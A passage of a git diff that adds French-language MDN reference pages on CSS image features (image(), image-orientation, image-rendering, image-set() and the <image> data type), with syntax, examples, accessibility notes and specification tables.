+<p>Les outils d'assistance ne peuvent pas analyser les images d'arrière-plan acr les navigateurs n'extraient pas d'informations du contenu visuel des images. Si l'image contient des informations essentielles à la compréhension du document, il faudra décrire ces informations de façon sémantique dans le document afin, entre autres, que les outils d'assistance puissent transmettre les informations aux utilisateurs.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">Comprendres les règles WCAG 1.1</a></li>
+ <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/text-equiv-all.html">Comprendre les critères de succès 1.1.1 - WCAG 2.0</a></li>
+</ul>
+
+<p>Cette fonctionnalité permet d'améliorer l'accessibilité en fournissant une couleur par défaut lorsque l'image n'est pas chargée. Bien qu'il soit conseillé d'avoir une couleur d'arrière-plan ({{cssxref("background-color")}}) pour chaque image d'arrière-plan ({{cssxref("background-image")}}), <code>image()</code> pourra être utile afin de définir une couleur uniquement utilisée lorsqu'une image ne charge pas.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Images", "#image-notation", "image()")}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.image.image")}}</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef("&lt;image&gt;")}}</li>
+ <li>{{CSSxRef("element")}}</li>
+ <li>{{CSSxRef("&lt;url&gt;")}}</li>
+ <li>{{CSSxRef("clip-path")}}</li>
+ <li>{{CSSxRef("-moz-image-rect")}}</li>
+ <li>{{CSSxRef("&lt;gradient&gt;")}}</li>
+ <li>{{CSSxRef("image-set")}}</li>
+ <li>{{CSSxRef("cross-fade")}}</li>
+</ul>
diff --git a/files/fr/web/css/image-orientation/index.html b/files/fr/web/css/image-orientation/index.html
new file mode 100644
index 0000000000..a12c6348b3
--- /dev/null
+++ b/files/fr/web/css/image-orientation/index.html
@@ -0,0 +1,142 @@
+---
+title: image-orientation
+slug: Web/CSS/image-orientation
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/image-orientation
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>image-orientation</code></strong> décrit la façon d'obtenir l'orientation correcte d'une image quelle que soit la disposition du document. Cette propriété ne doit pas être utilisée afin de tourner l'image pour d'autres cas, si besoin, on pourra utiliser la propriété {{cssxref("transform")}} avec la fonction <code>rotate</code>.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> Cette propriété sera vraisemblablement dépréciée prochainement. Les fonctionnalités associées deviendront des propriétés de l'élément {{HTMLElement("img")}} et/ou de l'élément {{HTMLElement("picture")}} (excepté peut-être <code>from-image</code>).</p>
+</div>
+
+<pre class="brush:css no-line-numbers">/* Valeurs d'angle */
+/* Type &lt;angle&gt;    */
+image-orientation: 0deg;
+image-orientation: 6.4deg;     /* Arrondie à 0deg */
+image-orientation: -90deg;     /* Équivalent à 270deg, la
+                                  valeur calculée normalisée */
+
+/* Valeurs avec un mot-clé */
+image-orientation: from-image; /* Utilise les données EXIF
+                                  de l'image */
+image-orientation: flip;       /* Pas de rotation mais un
+                                  retournement horizontal */
+
+/* Valeurs avec deux arguments */
+image-orientation: 90deg flip; /* Rotation de 90deg, puis
+                                  retournement horizontal */
+
+/* Valeurs globales */
+image-orientation: inherit;
+image-orientation: initial;
+image-orientation: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>from-image</code></dt>
+ <dd>Les informations EXIF contenues dans l'image seront utilisées pour tourner l'image de façon appropriée.</dd>
+ <dt><code>&lt;angle&gt;</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;angle&gt;")}} qui indique la rotation à appliquer à l'image. Cette valeur est arrondie au quart de tour le plus proche.</dd>
+ <dt><code>flip</code></dt>
+ <dd>L'image est retournée horizontalement (comme une réflexion) après que la rotation d'angle indiqué par le premier paramètre ait été appliquée. Si aucun argument d'angle n'a été fourni, la valeur <code>0deg</code> sera utilisée.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<p>Cette propriété n'est pas conçue pour appliquer une rotation arbitraire sur une image. Elle permet uniquement de corriger un orientation erronée. C'est pour cette raison que la valeur est arrondie au quart de tour le plus proche.</p>
+
+<p>De la même façon, cette propriété n'est pas conçue pour gérer le passage de paysage en portrait. <code>image-orientation</code> ne modifie que les images, il faudrait apporter les modifications au niveau de la disposition.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#image {
+  /* Peut-être modifiée dans l'exemple */
+  image-orientation: flip;
+}
+</pre>
+
+<div class="hidden">
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;img id="image" src="https://mdn.mozillademos.org/files/12668/MDN.svg"
+    alt="Orientation déterminée à partir de l'image"/&gt;
+&lt;select id="imageOrientation"&gt;
+  &lt;option value="from-image"&gt;from-image&lt;/option&gt;
+  &lt;option value="90deg"&gt;90deg&lt;/option&gt;
+  &lt;option value="flip" selected&gt;flip&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var imageOrientation = document.getElementById("imageOrientation");
+imageOrientation.addEventListener("change", function (evt) {
+  document.getElementById("image").style.imageOrientation = evt.target.value;
+});
+</pre>
+</div>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", 240)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Images', '#image-orientation', 'image-orientation')}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td>Ajout des mots-clés <code>from-image</code> et <code>flip</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#image-orientation', 'image-orientation')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.image-orientation")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("object-fit")}}</li>
+ <li>{{cssxref("object-position")}}</li>
+ <li>{{cssxref("image-orientation")}}</li>
+ <li>{{cssxref("image-rendering")}}</li>
+ <li>{{cssxref("image-resolution")}}</li>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("rotate")}}</li>
+</ul>
diff --git a/files/fr/web/css/image-rendering/index.html b/files/fr/web/css/image-rendering/index.html
new file mode 100644
index 0000000000..7b28a4c0b4
--- /dev/null
+++ b/files/fr/web/css/image-rendering/index.html
@@ -0,0 +1,127 @@
+---
+title: image-rendering
+slug: Web/CSS/Image-rendering
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/image-rendering
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>image-rendering</code></strong> fournit une indication au navigateur à propos de l'algorithme qui devrait être utilisé pour redimensionner les images. Elle s'applique à l'élément visé, aux images fournies via les autres propriétés CSS et aux éléments fils.</p>
+
+<p>L'agent utilisateur redimensionnera une image si l'auteur de la page indique des dimensions différentes que la taille naturelle de l'image ou si l'utilisateur interagit en zoomant par exemple. Cette propriété n'a aucun effet sur les images qui ne sont pas redimensionnées. Si, par exemple, la taille naturelle de l'image est <code>100px</code> par <code>100px</code> et que l'auteur indique les dimensions <code>200px</code> par <code>200px</code> (ou <code>50px</code> par <code>50px</code>), l'image sera agrandie (ou réduite) aux nouvelles dimensions via l'algorithme indiqué. Le redimensionnement peut aussi avoir lieu suite aux interactions utilisateurs (avec un zoom par exemple).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/*Valeurs avec un mot-clé*/
+image-rendering: auto;
+image-rendering: crisp-edges;
+image-rendering: pixelated;
+
+/* Valeurs globales */
+image-rendering: inherit;
+image-rendering: initial;
+image-rendering: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code><strong>auto</strong></code></dt>
+ <dd>L'image devrait être redimensionnée grâce à un algorithme qui optimise l'apparence de l'image. Les algorithmes de redimensionnement « doux » comme l'interpolation bilinéaire, sont acceptables. Ces algorithmes sont destinés à être utilisés sur des images comme des photos. Depuis la version 1.9 (Firefox 3.0), Gecko utilise un algorithme de rééchantillonnage bilinéaire.</dd>
+ <dt><code><strong>crisp-edges</strong></code></dt>
+ <dd>L'algorithme utilisé doit avant tout préserver le contraste et les bords de l'image, il ne doit pas ajouter de couleur intermédiaire ou de flou. Cette valeur est conçue pour être utilisée sur du <em>pixel art</em>. Les algorithmes éligibles sont par exemple l'interpolation au plus proche voisin, les familles d'algorithmes 2×SaI et <a href="https://en.wikipedia.org/wiki/Hqx">hqx</a>.</dd>
+ <dt><code>high-quality</code>{{Experimental_inline}}</dt>
+ <dd>Cette valeur est proche de <code>smooth</code> mais favorise un redimensionnement avec une qualité élevée. Si les ressources du système sont limitées, ce sont les images ciblées avec <code>high-quality</code> qui devraient être priorisées par rapport aux autres s'il est nécessaire de dégrader la qualité.</dd>
+ <dt><code><strong>pixelated</strong></code></dt>
+ <dd>Lorsque l'image est agrandie c'est l'algorithme « du plus proche voisin » qui doit être utilisé afin que l'image apparaisse comme composée de grands pixels. Lorsque l'image est réduite, le comportement est le même que <code>auto</code>.</dd>
+ <dt><code>smooth</code>{{Experimental_inline}}</dt>
+ <dd>L'algorithme utilisé pour le redimensionnement doit maximiser l'apparence de l'image. Les algorithmes qui adoucissent les couleurs (ex. l'interpolation bilinéaire) sont acceptables. Cette valeur est destinée aux images telles que les photos.</dd>
+</dl>
+
+<div class="note"><strong>Note :</strong> Les valeurs <code>optimizeQuality</code> et <code>optimizeSpeed</code> qui étaient présentes dans un brouillon de la spécification (et qui provenaient de la spécification équivalente pour SVG) sont synonymes respectifs de <code>smooth</code> et <code>pixelated</code>.</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.pixels_petits {
+  height: 50px;
+  width: 50px;
+}
+
+.pixels_grands {
+  height: 69px;
+  width: 69px;
+}
+
+.chapeau_petit {
+  height: 89px;
+  width: 89px;
+}
+.defaut {
+  image-rendering: auto;
+}
+
+.contraste {
+  image-rendering: crisp-edges;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Avec &lt;code&gt;auto&lt;/code&gt; :&lt;/p&gt;
+&lt;img class="pixels_petits defaut" alt="damier" src="https://mdn.mozillademos.org/files/2766/squares.gif"/&gt;
+&lt;img class="pixels_grands defaut" alt="damier" src="https://mdn.mozillademos.org/files/2766/squares.gif"/&gt;
+&lt;img class="chapeau_petit defaut" alt="chapeau" src="https://mdn.mozillademos.org/files/2767/hut.jpg"/&gt;
+
+&lt;p&gt;Avec &lt;code&gt;crisp-edges&lt;/code&gt; :&lt;/p&gt;
+&lt;img class="pixels_petits contraste" alt="damier" src="https://mdn.mozillademos.org/files/2766/squares.gif"/&gt;
+&lt;img class="pixels_grands contraste" alt="damier" src="https://mdn.mozillademos.org/files/2766/squares.gif"/&gt;
+&lt;img class="chapeau_petit contraste" alt="chapeau" src="https://mdn.mozillademos.org/files/2767/hut.jpg"/&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","100%")}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> En pratique, les règles <code>pixelated</code> et <code>crisp-edges</code> peuvent être combinées en cas de besoin (l'une pouvant combler les éventuelles manques de l'autre et <em>vice versa</em>). Si besoin, un {{HTMLElement("canvas")}} peut fournir <a href="http://phrogz.net/tmp/canvas_image_zoom.html">une alternative pour les valeurs <code>crisp-edge</code> et <code>optimize-contrast</code></a> via la manipulation manuelle des données de l'image ou avec <code><a href="/fr/docs/Web/API/CanvasRenderingContext2D/imageSmoothingEnabled">imageSmoothingEnabled</a></code>.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#the-image-rendering', 'image-rendering')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note :</strong> Cette valeur était, initialement, proche de la propriété SVG <code>image-rendering</code>. Cependant, ces valeurs ont « divergé » et sont assez différentes désormais.</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.image-rendering")}}</p>
diff --git a/files/fr/web/css/image-set()/index.html b/files/fr/web/css/image-set()/index.html
new file mode 100644
index 0000000000..b54ea600c9
--- /dev/null
+++ b/files/fr/web/css/image-set()/index.html
@@ -0,0 +1,84 @@
+---
+title: image-set()
+slug: Web/CSS/image-set()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+translation_of: Web/CSS/image-set()
+---
+<p>{{CSSRef}}</p>
+
+<p class="summary">La fonction <code>image-set()</code> est une méthode permettant au navigateur de sélectionner l'image la plus appropriée parmi un ensemble d'images. Elle s'avère notamment utile pour les écrans à haute densité de pixels.</p>
+
+<p>La résolution et la bande passante varient selon l'appareil et l'accès au réseau dont on dispose. La fonction <code>image-set()</code> permet au navigateur de sélectionner l'image avec la résolution la mieux adaptée aux conditions de l'utilisateur. Cette fonction reçoit différentes options d'images qui sont chacune une image avec une déclaration de résolution. La résolution sera généralement couplée avec la taille du fichier associé. Ainsi, un agent utilisateur conscient que la bande passante est faible pourra privilégier une image à faible résolution plutôt que d'attendre longtemps le chargement d'une image à plus haute résolution.</p>
+
+<p>Cette fonction permet ainsi à l'auteur du document de fournir différentes options plutôt que de laisser l'utilisateur payer les conséquences.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">image-set() = image-set( &lt;image-set-option&gt;# )
+où &lt;image-set-option&gt; = [ &lt;image&gt; | &lt;string&gt; ] &lt;resolution&gt; et où
+      &lt;string&gt; est une valeur &lt;url&gt;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La plupart du temps, la source d'une des images de l'ensemble sera indiquée via la fonction {{cssxref("url")}}.</p>
+
+<p>On notera qu'on ne peut pas imbriquer un appel à une fonction <code>image-set()</code> au sein d'un autre appel à <code>image-set()</code>.</p>
+
+<p>La valeur <code><a href="/fr/docs/Web/CSS/resolution">&lt;resolution&gt;</a></code> peut utiliser une unité <code>x</code> ou <code>dppx</code> (points par unité de pixel), <code>dpi</code> (points par pouce) ou <code>dpcm</code> (points par centimètre). Une résolution donnée ne peut être utilisée que pour une seule image au sein d'un appel à <code>image-set()</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css notranslate">background-image: image-set( "chat.png" 1x,
+                             "chat-2x.png" 2x,
+                             "chat-print.png" 600dpi);</pre>
+
+<p>Dans cet exemple, on utilise <code>image-set()</code> afin de fournir deux versions pour une image en arrière-plan. Le navigateur pourra choisir l'image avec la meilleure résolution si l'utilisateur dispose d'un appareil permettant de l'afficher correctement et si sa connexion est suffisamment rapide.</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Les navigateurs ne fournissent pas d'informations particulières aux outils d'assistance quant aux outils d'assistance. Ainsi, les lecteurs d'écran ne pourront pas annoncer d'informations utiles si l'image contient des informations essentielles à la compréhension de la page. Il faudra inclure une description sémantique sur l'image pour que tous les utilisateurs puissent en bénéficier.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">Comprendre les règles WCAG 1.1</a></li>
+ <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/text-equiv-all.html">Comprendre les critères de succès 1.1.1 WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Images', '#image-set-notation', 'The image-set() notation')}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.image.image-set")}}</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("image")}}</li>
+ <li>{{cssxref("_image", "image()")}}</li>
+ <li>{{cssxref("element")}}</li>
+ <li>{{cssxref("url")}}</li>
+ <li>{{cssxref("&lt;gradient&gt;")}}</li>
+ <li>{{cssxref("cross-fade")}}</li>
+</ul>
diff --git a/files/fr/web/css/image/index.html b/files/fr/web/css/image/index.html
new file mode 100644
index 0000000000..4da7dfe332
--- /dev/null
+++ b/files/fr/web/css/image/index.html
@@ -0,0 +1,189 @@
+---
+title: <image>
+slug: Web/CSS/image
+tags:
+  - CSS
+  - CSS Images
+  - Reference
+  - Type
+translation_of: Web/CSS/image
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée CSS <strong><code>&lt;image&gt;</code></strong> représente une image en deux dimensions. Il existe deux types d'images en CSS : les images statiques (souvent utilisées via une URL (cf. {{cssxref("&lt;url&gt;")}})), et les images générées dynamiquement comme les dégradés (cf. {{cssxref("&lt;gradient&gt;")}}) ou les images construites à partir de fragments de l'arbre du DOM ({{CSSxRef("element")}}). D'autres fonctions peuvent être utilisées pour créer des images comme {{CSSxRef("imagefunction", "image()")}}, {{CSSxRef("image-set")}} et {{CSSxRef("cross-fade")}}.</p>
+
+<p>Les images peuvent être utilisées pour de nombreuses propriétés CSS dont, par exemple, {{cssxref("background-image")}}, {{cssxref("border-image")}}, {{cssxref("content")}}, {{cssxref("list-style-image")}} et {{cssxref("cursor")}}.</p>
+
+<h2 id="Les_types_d'images">Les types d'images</h2>
+
+<p>Le CSS permet de manipuler différentes sortes d'images :</p>
+
+<ul>
+ <li>les images avec des <em>dimensions intrinsèques</em>, qui ont une taille propre, comme une image au format JPEG ou PNG (ou dans un autre <a href="https://fr.wikipedia.org/wiki/Image_matricielle">format matriciel</a>) qui possède des dimensions fixes.</li>
+ <li>les images avec <em>plusieurs dimensions intrinsèques</em>, qui existent sous différentes dimensions dans un même fichier, comme certains formats .ico. Dans ce cas, les dimensions intrinsèques seront celles de la plus grande image en surface, et ayant le ratio le plus proche de la boîte englobante.</li>
+ <li>les images sans dimensions intrinsèques avec un <em>ratio intrinsèque</em>, entre la largeur et sa hauteur, comme certaines <a href="https://fr.wikipedia.org/wiki/Image_vectorielle">images vectorielles</a>, au format SVG par exemple.</li>
+ <li>les images n'ayant <em>ni dimensions intrinsèques, ni ratio intrisèque</em>, comme un dégradé CSS par exemple.</li>
+</ul>
+
+<p>Le CSS détermine la <em>taille concrète de l'objet</em> en utilisant ces <em>dimensions intrinsèques</em>, la <em>taille spécifiée</em> définie par les propriétés CSS comme {{cssxref("width")}}, {{cssxref("height")}} ou {{cssxref("background-size")}}, et la <em>taille par défaut de l'objet</em> définie en fonction de la propriété utilisée :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Type d'objet</th>
+   <th scope="col">Taille par défaut de l'objet</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{cssxref("background-image")}}</td>
+   <td>La taille de la zone de positionnement de l'arrière-plan</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("list-style-image")}}</td>
+   <td>La taille d'un caractère de <code>1em</code></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-image-source")}}</td>
+   <td>La taille de la zone de bordure de l'élément</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("cursor")}}</td>
+   <td>La dimension correspondant à la taille d'un curseur sur le système utilisé</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("mask-image")}}</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("shape-outside")}}</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("mask-border-source")}}</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("symbols")}} pour <code>@counter-style</code></td>
+   <td>Une fonctionnalité en cours de discussion. Si elle est prise en charge, la taille utilisée sera celle des curseurs utilisés par le système.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("content")}} avec les pseudo-éléments {{cssxref("::after")}} et {{cssxref("::before")}}</td>
+   <td>Un rectangle de <code>300px</code><code> × 150px</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La taille concrète de l'objet est calculée selon l'algorithme suivant :</p>
+
+<ul>
+ <li>si la taille spécifié définit à la fois la largeur et la hauteur, ces valeurs sont utilisées comme la taille concrète de l'élément.</li>
+ <li>si la taille spécifiée définit soit la hauteur soit la largeur, la valeur manquante est déterminée grâce au ratio intrinsèque s'il existe ou les dimensions intrisèques si la valeur spécifiée y correspond ou la taille par défaut de l'objet pour la dimension manquante.</li>
+ <li>si la taille spécifiée ne définit ni hauteur ni largeur, la taille concrète de l'objet est calculée de manière à ce que le ratio intrinsèque soit conservé et que la taille par défaut de l'objet ne soit pas dépassée. Si l'image n'a pas de ratio intrinsèque, le ratio intrinsèque de l'objet auquel il s'applique est utilisé ; si l'objet n'en possède pas, la hauteur ou la largeur manquante est prise depuis la taille par défaut de l'objet.</li>
+</ul>
+
+<p>Les images peuvent être utilisées pour de nombreuses propriétés CSS comme {{cssxref("background-image")}}, {{cssxref("border-image")}}, {{cssxref("content")}}, {{cssxref("list-style-image")}} ou {{cssxref("cursor")}}.</p>
+
+<div class="note"><strong>Note :</strong> tous les navigateurs ne supportent pas n'importe quel type d'image sur n'importe quelle propriété. Voir la section <a href="/fr/docs/CSS/image#Compatibilit.C3.A9_des_navigateurs">compatibilité des navigateurs</a> pour une liste explicative.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Un type de donnée CSS <code>&lt;image&gt;</code> peut représenter un type parmi les suivants :</p>
+
+<ul>
+ <li>une image dénotée par le type de donnée CSS {{cssxref("&lt;url&gt;")}} et la fonction <code>url()</code> ;</li>
+ <li>une valeur CSS {{cssxref("&lt;gradient&gt;")}} (représentant un dégradé) ;</li>
+ <li>une partie de la page, définie par la fonction {{cssxref("element")}} ;</li>
+ <li>une image, un fragment d'image ou une couleur définie grâce à la fonction {{cssxref("image()")}} ;</li>
+ <li>une fusion de deux ou plusieurs images avec la fonction {{cssxref("cross-face")}}</li>
+ <li>une image choisie parmi un ensemble d'images (selon leurs résolutions, l'appareil et la connexion utilisés) grâce à la fonction {{cssxref("image-set()")}}.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voici des exemples valides d'images :</p>
+
+<pre class="brush:css example-good">url(test.jpg)              /* La fonction url() fonctionne tant que test.jpg est bien une image */
+linear-gradient(blue, red) /* Un dégradé (&lt;gradient&gt;) */
+element(#colonne3)         /* Utilisation d'un élément de la page via la fonction element(),
+                              si colonne3 est bien un identifiant CSS existant. */
+image(ltr 'arrow.png#xywh=0,0,16,16', red)
+                           /* Une section de 16x16 pixels de l'image <code>arrow.png</code> et qui démarre au coin
+                              supérieur gauche de l'image et qui sera utilisée si arrow.png est à un
+                              format pris en charge. Sinon, ce sera un fond rouge qui sera utilisé.
+                              Si la langue est écrite de gauche à droite, l'image sera inversée
+                              horizontalement. */
+cross-fade(20% url(vingt.png), url(quatrevingt.png));
+                           /* Deux images superposées où « vingt » est 20%
+                              opaque et « quatrevingt » compose les 80%
+                              restants. */
+image-set('test.jpg' 1x, 'text-2x.jpg' 2x);
+                           /* Un ensemble d'images avec différentes résolutions. */
+</pre>
+
+<p>Voici des exemples invalides :</p>
+
+<pre class="brush:css example-bad">nourl.jpg            /* Le fichier de l'image doit être ciblé via la fonction url(). */
+url(report.pdf)      /* Le fichier référencé par la fonction url() doit être une image. */
+element(#fakeid)     /* Ne fonctionne pas si 'fakeid' n'est pas un identifiant existant. */
+image(z.jpg#xy=0,0)  /* L'indicateur de fragment doit avoir la forme xywh=#,#,#,# */
+image-set('chat.jpg' 1x, 'chien.jpg' 1x) /* Chaque image doit avoir une résolution différente */
+</pre>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Les navigateurs ne fournissent pas d'information aux outils d'assistance pour les images d'arrière-plan. Cela est particulièrement important pour les lecteurs d'écran car ces derniers ne pourront pas annoncer la présence de ces informations aux utilisateurs. Si l'image contient des informations critiques pour la compréhension générale de la page, mieux vaudra décrire ces informations de façon sémantique dans le document.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">Comprendre la règle 1.1 du WCAG</a></li>
+ <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/text-equiv-all.html">Comprendre les critères pour 1.1.1, comprendre WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Images", "#typedef-image", "&lt;image&gt;")}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Définition initiale. Avant <a href="/fr/docs/Web/CSS/CSS3">CSS3</a>, il n'existait pas de type défini de façon explicite pour les images. Celles-ci pouvaient uniquement être utilisées via la notation fonctionnelle <code>url()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS4 Images", "#typedef-image", "&lt;image&gt;")}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td>Ajout de {{cssxref("element()")}}, {{cssxref("image()")}}, {{cssxref("image-set()")}}, {{cssxref("conic-gradient")}}, {{cssxref("repeating-conic-gradient", "repeating-conic-gradient()")}} et {{cssxref("image-resolution")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.types.image")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("&lt;gradient&gt;")}}
+  <ul>
+   <li><a href="/fr/docs/Web/Guide/CSS/Using_CSS_gradients">Manipuler les dégradés CSS</a></li>
+   <li>{{cssxref("linear-gradient","linear-gradient()")}}</li>
+   <li>{{cssxref("radial-gradient","radial-gradient()")}}</li>
+   <li>{{cssxref("repeating-linear-gradient","repeating-linear-gradient()")}}</li>
+   <li>{{cssxref("repeating-radial-gradient","repeating-radial-gradient()")}}</li>
+   <li>{{cssxref("conic-gradient")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("element")}}</li>
